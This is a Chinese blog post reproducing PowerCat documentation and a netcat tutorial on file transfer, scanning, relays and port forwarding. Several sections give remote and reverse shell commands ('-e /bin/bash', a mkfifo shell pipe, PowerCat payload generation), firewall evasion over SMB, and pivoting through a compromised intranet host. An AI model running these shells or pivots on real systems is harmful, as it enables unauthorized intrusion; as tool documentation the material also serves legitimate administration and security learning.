美文网首页
PowerCat功能介绍 netcat使用实例:端口转发

PowerCat功能介绍 netcat使用实例:端口转发

作者: 极客圈 | 来源:发表于2017-07-06 17:31 被阅读0次

PowerCat

与Netcat&Ncat配合使用的PowerShell TCP / IP瑞士军刀

https://github.com/secabstraction/PowerCat

PowerCat 被打包为一个 PowerShell module
所以要导入模块才能使用功能:

# Import the functions via the psd1 file:
    Import-Module PowerCat.psd1

功能和参数

Start-PowerCat      # Starts a listener/server.
    
    -Mode           # Defaults to Tcp, can also specify Udp or Smb.
    -Port           # The port to listen on.
    -PipeName       # Name of pipe to listen on.
    
    -SslCn      # Common name for Ssl encrypting Tcp.
    -Relay          # Format: "<Mode>:<Port/PipeName>"
    -Execute        # Execute a console process or powershell.
    -SendFile       # Filepath of file to send.
    -ReceiveFile    # Filepath of file to be written.
    -Disconnect     # Disconnect after connecting.
    -KeepAlive      # Restart after disconnecting.
    -Timeout        # Timeout option. Default: 60 seconds
    
Connect-PowerCat    # Connects a client to a listener/server.
    
    -Mode           # Defaults to Tcp, can also specify Udp or Smb
    -RemoteIp       # IPv4 address of host to connect to.
    -Port           # The port to connect to.
    -PipeName       # Name of pipe to connect to.
    
    -SslCn      # Common name for Ssl encrypting Tcp.
    -Relay          # Format: "<Mode>:<IP>:<Port/PipeName>"
    -Execute        # Execute a console process or powershell.
    -SendFile       # Filepath of file to send.
    -ReceiveFile    # Filepath of file to be written.
    -Disconnect     # Disconnect after connecting.
    -Timeout        # Timeout option. Default: 60 seconds

基本连接

默认情况下,PowerCat使用TCP协议 并且 从控制台读取,写到控制台。

 # Basic Listener: 监听本机443端口
    Start-PowerCat -Port 443

    # Basic Client: 
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443

文件传输

参数为
-SendFile
-ReceiveFile

    # Send File: 
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile
        
    # Receive File:
    Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile

Shells

PowerCat can be used to send and serve (Power)Shells using the -Execute parameter.

 # Serve a shell:
    Start-PowerCat -Port 443 -Execute
        
    # Send a Shell:
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute

UDP and SMB

PowerCat supports more than sending data over TCP.
PowerCat支持的协议:TCP、UDP、SMB

    # Send Data Over UDP:
    Start-PowerCat -Mode Udp -Port 8000
        
    # Send Data Over SMB (easily sneak past firewalls):
    Start-PowerCat -Mode Smb -PipeName PowerCat

SSL

PowerCat即时生成X509证书,以提供TCP连接的SSL加密。
PowerCat generates X509 certificates on-the-fly to provide SSL encryption of TCP connections.

    # Admin privileges are required to generate the self-signed certificate.
    
    # Serve an SSL-Encrypted (Power)Shell:
    Start-PowerCat -Mode Tcp -Port 80 -SslCn <Certificate Common Name> -Execute
        
    # Connect to an SSL encrypted Ncat listener:
    # Setup *nix with openssl & Ncat:
    # openssl req -X509 -newkey rsa:2048 -subj /CN=PowerCat -days 90 -keyout key.pem -out cert.pem
    # ncat -l -p 80 --ssl --ssl-cert cert.pem --ssl-key key.pem
    
    Connect-PowerCat -Mode Tcp -RemoteIp 10.1.1.1 -Port 80 -SslCn PowerCat 

Relays

Relays in PowerCat are similar to netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.

    # UDP Listener to TCP Client Relay:
    Start-PowerCat -Mode Udp -Port 8000 -Relay tcp:10.1.1.16:443
        
    # TCP Listener to UDP Client Relay:
    Start-PowerCat -Port 8000 -Relay udp:10.1.1.16:53
        
    # TCP Client to Client Relay
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 9000 -Relay tcp:10.1.1.16:443
        
    # TCP Listener to SMB Listener Relay
    New-PowerCat -Listener -Port 8000 -Relay smb:PowerCat

Generate Payloads

Payloads can be generated using the New-PowerCatPayload function.

    # Generate a reverse tcp payload that connects back to 10.1.1.15 port 443:
    New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute 
        
    # Generate a tcp payload that listens on port 8000:
    New-PowerCatPayload -Listener -Port 8000 -Execute

Misc Usage

PowerCat can also perform port-scans, start persistent listeners, or act as a simple web server.

    # Basic TCP port scan:
    1..1024 | ForEach-Object { Connect-PowerCat -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose -Disconnect }
    
    # Basic UDP port scan:
    1..1024 | ForEach-Object { Connect-PowerCat -Mode Udp -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose }
        
    # Persistent listener:
    Start-PowerCat -Port 443 -Execute -KeepAlive
    
    # Simple Web Server:
    Start-PowerCat -Port 80 -SendFile index.html

Exiting

In most cases, the ESC key can be used to gracefully exit PowerCat.


netcat

nc
netcat是网络工具中的瑞士军刀,通过TCP和UDP在网络中读写数据。
通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。
使用netcat命令所能完成的事情令人惊讶。

netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。
你能建立一个服务器,传输文件,与朋友聊天,传输流媒体,用它作为其它协议的独立客户端。
使用格式:

nc [options...] hostname port
nc -l -p port [-s addr] [options...] [hostname] [port]

主要参数:

-4 IPv4模式

-6 IPv6模式

-b, –bluetooth蓝牙模式(默认为L2CAP协议)

-e,–exec=CMD连接建立后执行命令

-l 监听入站连接

-n 指定数字的IP地址,不能用hostname

-u UDP模式

-t TCP模式(默认模式)

-v 详细输出——用两个-v可得到更详细的内容

-w,–time=SECONDS连接建立后的延时

-z 扫描模式,不会发送任何数据

-T,–ttl=TTL自定义初始TTL

-z 将输入输出关掉——用于扫描时

-x,–transfer文件传输模式

-X ,–rev-transfer反向文件传输模式

-s,–address=ADDRESS本地源ip

端口扫描

端口扫描,发现主机开放的端口

nc -z -v -n 220.181.57.217 80-81
found 0 associations
found 1 connections:
     1: flags=82<CONNECTED,PREFERRED>
    outif en0
    src 192.168.1.170 port 55690
    dst 220.181.57.217 port 80
    rank info not available
    TCP aux info available

Connection to 220.181.57.217 port 80 [tcp/*] succeeded!

-v 详细输出
-n 不使用DNS反向查询IP地址的域名

可以运行在TCP或者UDP模式:默认是TCP -u参数指定为UDP

# 对已经开放的端口,使用netcat(会先自动连接开放端口)抓取此端口的banner
nc -v 220.181.57.217 80

双方通信

Server <-> Client

只能2人通信:双方任何一方发送内容,另一方可以看到。
双方任何一方Ctrl-c结束连接,则另一方也会自动断开。

# Server  (IP 192.168.1.170)
#在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

nc -l 1567
### Client
nc 192.168.1.170 1567

文件传输

Server -> Client

FTP,SCP,SMB等协议,都能传输文件。

nc也可以传输文件:
双方建立连接,临时传输内容,并保存为文件。

#Server    (IP 192.168.1.170)
#监听1567端口,任何Client成功连接该端口后,服务器端把README.md中的内容发送过去。
nc -l 1567 < README.md
#Client
#主动连接到服务器端口,当获取内容结束后,断开双方连接。
nc -n 192.168.1.170 1567 #在shell中显示该文件的内容
nc -n 192.168.1.170 1567 > README2222.md #重定向 保存到文件中

目录传输

使用压缩工具tar压缩后发送压缩包,即可发送多个文件,或者整个目录。

#Server     (IP 192.168.1.170)
# 打包(不压缩)指定目录,通过 - 输入控制台重定向(当前目录中不生成新文件),又通过管道命令传给:nc
tar -cvf - dir_name/ | nc -l 1567
#Client
# 连接到服务器的1567端口,通过管道命令传给:tar工具 解压 控制台重定向的输出- 得到目录。
nc -n 192.168.1.170 1567 | tar -xvf -

端口转发

netcat 做简单的端口转发。

背景:
192.168.1.101需要访问192.168.1.102的8000端口
(目标主机防火墙不允许外界机器访问8000端口,只允许其他机器连接目标主机192.168.1.102的9000端口)

操作:
192.168.1.101通过连接目标机192.168.1.102的9000端口
(目标机内8000 <-> 9000 转发成功)
就实现了192.168.1.101与目标机192.168.1.102的8000端口的通信。

#Server     (IP 192.168.1.102)
#防火墙只允许8000端口通信
nc -l 8000

#在目标机192.168.1.102内 令 9000端口 作为 转发数据的端口
#实现了 8000 <-> 9000 的端口转发
cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
#Client
#在客户端192.168.1.101主动连接192.168.1.102的9000端口
#实际上客户端只连接服务器端的9000端口
nc -n 192.168.1.102 9000

端口转发可用于内网渗透:
Client无法直接访问内网特定机器X,并成功拿到了内网一台机器N:
在跳板机N内做端口转发,N接受到外网的数据,将其转发到内网目标机器X的特定端口。

以下,没有进行实际的测试。

指定地址 - 客户端主动发起连接的地址

如果本机有多个ip地址:
在netcat中使用-s选项指定与外部通讯的ip地址。

#Server     (IP 192.168.1.102)
#服务器端正常监听
nc -u -l 1567 < file.txt
#Client     (IP 192.168.1.101)
#指定 客户端本机 主动发起连接的ip地址 为192.168.1.101

nc -u 192.168.1.102 1567 -s 172.31.100.101 > file.txt

指定端口 - 客户端主动发起连接的端口

如果 客户端Client的防火墙,只允许25端口和外部通讯:
所以需要发送发给外部的数据都要经过25端口 才能发出

#Server     (IP 192.168.1.102)
#正常监听
nc -l 1567
#Client
#客户端Client的防火墙只允许25端口主动发出连接,和外部通讯
#-p 25 指定打开25端口,主动发出连接。否则打开任意端口进行通讯。
#root权限才能打开1024以内的端口

nc 192.168.1.170 1567 -p 25

远程shell - 正向shell: A主动连到B A得到B的shell

Server 提供一个shell
Client 得到shell输入命令

如果没有安装或没有权限安装telnet或ssh
可用netcat创建远程shell

#Server     (IP 192.168.1.170)
#被控端

#netcat默认支持 -c -e 参数
#当有客户端连接成功时,执行/bin/bash
nc -l 1567 -e /bin/bash -i
#Server     (IP 192.168.1.170)
#被控端
#openBSD netcat (如Mac系统自带的nc):并不支持-c 或者 -e 参数,也能创建远程shell


mkfifo /tmp/tmp_fifo # 创建了一个fifo文件
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo #使用管道命令把这个fifo文件内容定向到shell 2>&1中。
#是用来重定向标准错误输出和标准输出,然后管道到netcat运行的端口1567上。
#这样已经把netcat的输出重定向到fifo文件中。

说明:
从网络收到的输入写到fifo文件中
cat 命令读取fifo文件并且其内容发送给sh命令
sh命令进程受到输入并把它写回到netcat。
netcat 通过网络发送输出到client

能成功是因为:管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

#Client
#主控端 直接连接 得到一个shell提示符在客户端
nc 192.168.1.170 1567

远程shell - 反向shell: A主动连到B B得到A的shell

Server 提供一个shell
Client 得到shell输入命令

反向shell:在客户端打开的shell。
反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

服务端

#Server     (IP 192.168.1.170)
nc -l 1567
#Client
#客户端netcat主动连接,执行shell。
nc 172.31.100.7 1567 -e /bin/bash

反向shell作用:
反向shell经常被用来绕过防火墙的限制,如阻止入站连接。
例如,某内网机器A 经过网络地址转换(Network Address Translation)连接到外部网络 机器B。

想要两台主机连接:
【成功】内网机器A 主动发起连接 能连接到外部机器B。

【失败】网络外部机器B 主动访问 内网机器A 的shell肯定失败。

传输(加密过的)数据

使用mcrypt工具,两端密码必须一致。

#Server     (IP 192.168.1.170)
# 使用mcrypt工具加密数据
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

#Client
#使用mcrypt工具解密数据。
nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

传输流视频

虽然不是生成流视频的最好方法:

#Server     (IP 192.168.1.170)
#读入一个视频文件,重定向输出到netcat
cat video.avi | nc -l 1567
#Client
#从socket中读入数据并重定向到mplayer(需安装)
nc 192.168.1.170 1567 | mplayer -vo x11 -cache 3000 -

克隆Linux

dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。
但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。

#Server     (IP 192.168.1.170)
#假如你的系统在磁盘/dev/sda上
dd if=/dev/sda | nc -l 1567
#Client
nc -n 192.168.1.170 1567 | dd of=/dev/sda

其他功能

使用-t选项模拟Telnet客户端
HTTP客户端用于下载文件
连接到邮件服务器,使用SMTP协议检查邮件
使用ffmpeg截取屏幕并通过流式传输分享
只要了解协议,就能使用netcat作为网络通讯媒介,实现各种客户端。

相关文章

网友评论

      本文标题:PowerCat功能介绍 netcat使用实例:端口转发

      本文链接:https://www.haomeiwen.com/subject/ootkhxtx.html